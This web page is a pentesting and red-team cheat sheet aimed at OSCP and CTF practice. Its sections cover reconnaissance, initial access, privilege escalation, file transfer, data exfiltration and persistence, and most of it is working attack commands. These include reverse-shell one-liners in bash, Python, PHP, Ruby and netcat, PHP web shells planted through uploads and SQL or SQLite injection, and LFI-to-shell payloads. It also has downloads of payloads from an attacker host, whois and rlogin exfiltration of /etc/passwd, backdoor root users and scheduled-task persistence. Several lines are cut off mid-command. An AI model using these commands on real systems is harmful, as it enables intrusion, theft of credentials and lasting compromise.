



Pentesting Cheatsheets



Convenient commands for your pentesting / red-teaming engagements, OSCP and CTFs.

Reconnaissance / Enumeration

Extracting Live IPs from Nmap Scan

```
nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d ' ' -f 1
```

Simple Port Knocking

```
for x in 7000 8000 9000; do nmap -Pn -host_timeout 201 -max-retries 0 -p $x 1.1.1.1
```

DNS lookups, Zone Transfers & Brute-Force

```
4 host -t {a|txt|ns|mx} megacorpone.com
5 host -a megacorpone.com
6 host -l megacorpone.com ns1.megacorpone.com
7 dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com
8 dnsenum domain.com
9 nslookup -> set type=any -> ls -d domain.com
10 for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done
```

Banner Grabbing

```
1 nc -v $TARGET 80
2 telnet $TARGET 80
3 curl -vX $TARGET
```



NFS Exported Shares

List NFS exported shares. If 'rw,no_root_squash' is present, upload and execute **sid-shell**

```
1 showmount -e 192.168.110.102
2 chown root:root sid-shell; chmod +s sid-shell
```



HTTP Brute-Force & Vulnerability Scanning

```
1 target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/
2 target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto
3 target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-w
```

RPC / NetBios / SMB

```
1 rpcinfo -p $TARGET
2 nbtscan $TARGET
3
4 #list shares
5 smbclient -L //$TARGET -U ""
6
7 # null session
8 rpcclient -U "" $TARGET
9 smbclient -L //$TARGET
10 enum4linux $TARGET
```

```
2 snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25
3
4 # Windows Running Programs
5 snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2
6
7 # Windows Hostname
8 snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5
9
10 # Windows Share Information
11 snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1
12
13 # Windows Share Information
14 snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27
15
16 # Windows TCP Ports
17 snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3
18
19 # Software Name
20 snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2
21
22 # brute-force community strings
23 onesixtyone -i snmp-ips.txt -c community.txt
24
25 snmp-check $TARGET
```

Active Directory

```
1 # current domain info
2 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
3
4 # domain trusts
5 ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrusts()
6
7 # current forest info
8 [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
9
10 # get forest trust relationships
11 ([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.Forest)).GetForest())
12
13 # get DCs of a domain
14 nltest /dclist:offense.local
15 net group "domain controllers" /domain
16
17 # get DC for currently authenticated session
18 nltest /dsgetdc:offense.local
19
20 # get domain trusts from cmd shell
21 nltest /domain_trusts
```

```
25  
26 # get DC for currently authenticated session  
27 set l  
28  
29 # whoami on older Windows systems  
30 set u
```

Gaining Access

Reverse Shell One-Liners

Bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

Perl

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyne
```

Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));subprocess.call(["/bin/sh"],stdout=s.stdout,stderr=s.stderr,stdin=s.stdin);s.close()'
```

PHP

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&3 >&3 2>&3");'
```

Netcat without -e #1

```
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
```

Netcat without -e #2

Java

```
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2
```

XTerm

```
xterm -display 10.0.0.1:1
```

JDWP RCE

```
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader
```

Working with Restricted Shells

```
1 # rare cases
2 ssh bill@localhost ls -l /tmp
```

```
nice /bin/bash
```



```
/usr/bin/expect sh
```



```
1 python -c 'import pty; pty.spawn("/bin/sh")'  
2 # execute one command with su as another user if you do not have access to the sh  
3 python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess
```



Uploading/POSTing Files Through WWW Upload Forms

```
1 # POST file  
2 curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cook  
3  
4 # POST binary data to web form  
5 curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "s
```



PUTing File on the Webhost via PUT verb

```
curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php
```



```
2 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE
```

Bypassing File Upload Restrictions

- file.php -> file.jpg
- file.php -> file.php.jpg
- file.asp -> file.asp;.jpg
- file.gif (contains php code, but starts with string GIF/GIF98)
- 00%
- file.jpg with php backdoor in exif (see below)
- .jpg -> proxy intercept -> rename to .php

Injecting PHP into JPEG

```
1 exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
2 exiftool "-comment<=back.php" back.png
```

Uploading .htaccess to interpret .blah as .php

```
AddType application/x-httpd-php .blah
```

```
hydra 10.10.10.52 http-post-form -L /usr/share/wordlists/list "/endpoit/login:usern
```

Cracking Common Protocols with Hydra

```
hydra 10.10.10.52 -l username -P /usr/share/wordlists/list ftp|ssh|smb://10.0.0.1
```

HashCat Cracking

```
1 # Bruteforce based on the pattern;
2 hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout
3
4 # Generate password candidates: wordlist + pattern;
5 hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordli
6
7 # Generate NetNLTMv2 with internalMonologue and crack with hashcat
8 InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose
9 # resulting hash
10 spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:0101000000000000
11
12 # crack with hashcat
13 hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:
```

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.245 LPORT=443 -f c -a x86 --pla
```

Compiling Code From Linux

```
1 # Windows
2 i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe
3
4 # Linux
5 gcc -m32|-m64 -o output source.c
```

Local File Inclusion to Shell

```
1 nc 192.168.1.102 80
2 GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
3 Host: 192.168.1.102
4 Connection: close
5
6 # Then send as cmd payload via http://192.168.1.102/index.php?page=../../../../..
```

```

2
3 http://example.com/index.php?page=php://input&cmd=ls
4     POST: <?php system($_GET['cmd']); ?>
5 http://192.168.2.237/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
6     POST: <?php system('uname -a');die(); ?>
7
8 expect://whoami
9 http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.p
10 http://example.com/index.php?page=php://filter/convert.base64-encode/resource=ind
11 http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode
12 http://example.net/?page=data://text/plain;base64,PD9waHAgaGc3lzdGVtKCRfR0VUWydkbWQ
13 http://10.1.1.1/index.php?page=data://text/plain,%3C?php%20system%28%22uname%20-a
14
15 # ZIP Wrapper
16 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
17 zip payload.zip payload.php;
18 mv payload.zip shell.jpg;
19 http://example.com/index.php?page=zip://shell.jpg%23payload.php
20
21 # Loop through file descriptors
22 curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output -

```

Remote File Inclusion Shell: Windows + PHP

SQL Injection to Shell or Backdoor

```
1 # Assumed 3 columns
2 http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['
```

```
1 # sqlmap; post-request - captured request via Burp Proxy via Save Item to File
2 sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threa
```

```
1 # netcat reverse shell via mssql injection when xp_cmdshell is available
2 1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26ech
```

SQLite Injection to Shell or Backdoor

```
1 ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn;
2 CREATE TABLE pwn.shell (code TEXT);
3 INSERT INTO pwn.shell (code) VALUES ('<?php system($_REQUEST['cmd']);?>');
```

```
2  ssh -S 10.1.1.1 -U user -P password
```

Upgrading Non-Interactive Shell

```
1  python -c 'import pty; pty.spawn("/bin/sh")'  
2  /bin/busybox sh
```



Python Input Code Injection

```
__import__('os').system('id')
```



Local Enumeration & Privilege Escalation



<https://github.com/sagishahar/lpeworkshop>

Binary Exploitation with ImmunityDebugger

Get Loaded Modules

```
1 # We're interested in modules without protection, Read & Execute permissions
2 !mona modules
```

Finding JMP ESP Address

```
!mona find -s "\xFF\xE4" -m moduleName
```


Setting up Simple HTTP server

```
1 # Linux
2 python -m SimpleHTTPServer 80
3 python3 -m http.server
4 ruby -r webrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
5 php -S 0.0.0.0:80
```

MySQL User Defined Fuction Privilege Escalation

Requires [raptor_udf2.c](#) and [sid-shell.c](#) or [full tarball](#)

```
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```

```
1 use mysql;
2 create table npn(line blob);
3 insert into npn values(load_file('/tmp/raptor_udf2.so'));
4 select * from npn into outfile '/usr/lib/raptor_udf2.so';
5 create function do_system returns integer soname 'raptor_udf2.so';
```

Docker Privilege Escalation

```
echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff"
```

Resetting root Password

```
echo "root:spotless" | chpasswd
```

Uploading Files to Target Machine

TFTP

```
1 #TFTP Linux: cat /etc/default/atftpd to find out file serving location; default is /tftpboot
2 service atftpd start
3
4 # Windows
5 tftp -i $ATTACKER get /download/location/file /save/location/file
```

FTP

```
4 # windows shell: read FTP commands from ftp-commands.txt non-interactively;
5 echo open $ATTACKER>ftp-commands.txt
6 echo anonymous>>ftp-commands.txt
7 echo whatever>>ftp-commands.txt
8 echo binary>>ftp-commands.txt
9 echo get file.exe>>ftp-commands.txt
10 echo bye>>ftp-commands.txt
11 ftp -s:ftp-commands.txt
12
13 # Or just a one-liner
14 (echo open 10.11.0.245&echo anonymous&echo whatever&echo binary&echo get nc.exe&e
```

CertUtil

```
certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe
```

PHP

```
<?php file_put_contents("/var/tmp/shell.php", file_get_contents("http://10.11.0.245/40564.exe"))
```

Python

HTTP: Powershell

```
1 powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$A
2 powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$A
3 powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTA
4 powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.
5
6 # download using default proxy credentials and launch
7 powershell -command { $b=New-Object System.Net.WebClient; $b.Proxy.Credentials =
```

HTTP: VBScript

Copy and paste contents of [wget.vbs](#) into a Windows Shell and then:

```
cscript wget.vbs http://$ATTACKER/file.exe localfile.exe
```

HTTP: Linux

```
1 wget http://$ATTACKER/file
2 curl http://$ATTACKER/file -O
3 scp ~/file/file.bin user@$TARGET:tmp/backdoor.py
```

```
2 nc -l -p 4444 < /tool/file.exe
3
4 # Victim
5 nc $ATTACKER 4444 > file.exe
```

HTTP: Windows "debug.exe" Method

```
1 # 1. In Linux, convert binary to hex ascii:
2 wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt
3 # 2. Paste nc.txt into Windows Shell.
```

HTTP: Windows BitsAdmin

```
cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/pay
```

Whois Data Exfiltration

```
1 # attacker
2 nc -l -v -p 43 | sed "s/ //g" | base64 -d
3 # victim
4 whois -h $attackerIP -p 43 `cat /etc/passwd | base64`
```

```
cancel -u "$(cat /etc/passwd)" -h ip:port
```



rlogin Data Exfiltration

```
rlogin -l "$(cat /etc/passwd)" -p port host
```



Bash Ping Sweeper

```
1  #!/bin/bash
2  for lastOctet in {1..254}; do
3      ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":"
4  done
```



Brute-forcing XOR'ed string with 1 byte key in Python

```
1  encrypted = "encrypted-string-here"
2  for i in range(0,255):
3      print("".join([chr(ord(e) ^ i) for e in encrypted]))
```



```
2 '\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])
```

```
1 # Bash
2 for i in {1..255}; do printf "\\x%02x" $i; done; echo -e "\r"
```

Converting Python to Windows Executable (.py -> .exe)

```
python pyinstaller.py --onefile convert-to-exe.py
```

Port Scanning with NetCat

```
1 nc -nvv -w 1 -z host 1000-2000
2 nc -nv -u -z -w 1 host 160-162
```

Exploiting Vulnerable Windows Services: Weak Service Permissions

```
1 # Look for SERVICE_ALL_ACCESS in the output
2 accesschk.exe /accepteula -uwcqv "Authenticated Users" *
3
```

Find File/Folder Permissions Explicitly Set for a Given User

```
1 icacls.exe C:\folder /findsid userName-or-*sid /t
2 //look for (F)ull, (M)odify, (W)rite
```



AlwaysInstallElevated MSI

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```



Stored Credentials: Windows

```
1 c:\unattend.xml
2 c:\sysprep.inf
3 c:\sysprep\sysprep.xml
4 dir c:\*vnc.ini /s /b
5 dir c:\*ultravnc.ini /s /b
6 dir c:\ /s /b | findstr /si *vnc.ini
7
8 findstr /si password *.txt | *.xml | *.ini
```




```
12 # Windows Autologon
13 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
14
15 # VNC
16 reg query "HKCU\Software\ORL\WinVNC3>Password"
17
18 # Putty
19 reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
20
21 # Registry
22 reg query HKLM /f password /t REG_SZ /s
23 reg query HKCU /f password /t REG_SZ /s
```

Unquoted Service Path

```
1 wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr
2 wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\
```

Creating Persistence

```
sc create spotlessSrv binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cr
```

```
1 # Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via S
2 # Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
3 ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER
```

SSH: Dynamic Port Forwarding

```
1 # Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to fi
2 # Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal
3 ssh -D 127.0.0.1:8080 user@SSH_SERVER
```

SSH: Remote Port Forwarding

```
1 # Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled t
2 # Scenario: expose RDP on non-routable network;
3 ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
4 plink -R ATTACKER:ATTACKER_PORT:127.0.0.1:80 -l root -pw pw ATTACKER_IP
```

Proxy Tunnel

```
4  ssh user@127.0.0.1 -p 5555
```

HTTP Tunnel: SSH Over HTTP

```
1  # Server - open port 80. Redirect all incoming traffic to localhost:80 to localho
2  hts -F localhost:22 80
3
4  # Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192
5  htc -F 8080 192.168.1.15:80
6
7  # Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get re
8  ssh localhost -p 8080
```

Netsh - Windows Port Forwarding

```
1  # requires admin
2  netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localp
```

RunAs / Start Process As

```
2 $username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
3
4 # without PSRemoting
5 cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential ($username,$securePassword))
6
7 # without PS Remoting, with arguments
8 cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential ($username,$securePassword))"
```

CMD

```
1 # Requires interactive console
2 runas /user:userName cmd.exe
```



PsExec

```
psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 10.11.0.245 80 -e cmd.exe
```

Pth-WinExe

```
pth-winexe -U user%pass --runas=user%pass //10.1.1.1 cmd.exe
```



General File Search

```
1 # Query the local db for a quick file find. Run updatedb before executing locate.
2 locate passwd
3
4 # Show which file would be executed in the current environment, depending on $PATH
5 which nc wget curl php perl python netcat tftp telnet ftp
6
7 # Search for *.conf (case-insensitive) files recursively starting with /etc;
8 find /etc -iname *.conf
```

Post-Exploitation & Maintaining Access

Browsing Registry Hives

```
hivesh /registry/file
```

Creating User and Adding to Local Administrators

```
net user spotless spotless /add & net localgroup Administrators spotless /add
```

Creating SSH Authorized Keys

```
mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQChKCUsFV'
```

Creating Backdoor User w/o Password

```
1 echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd
2
3 # Rarely needed, but if you need to add a password to the previously created user
4 sed 's/!/\$6$o1\$.HFMVM$a3hY60PT\$/DiQYy4koI6Z3\$/sLilts0cFoS5yCKhBBqQLH5K1QlHKL8\$/6'
```

Creating Another root User

Generating OpenSSL Password

```
1 openssl passwd -1 password
2 # output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5.
```



Persistent Back Doors

```
1 # Launch evil.exe every 10 minutes
2 schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.ex
```



This was inspired by and forked/adapted/updated from [Dostoevsky's Pentest Notes](#).



Previous
[About /?](#)

Next

[SQL Injection & XSS Playground](#)



Last updated 22 days ago

WAS THIS PAGE HELPFUL?



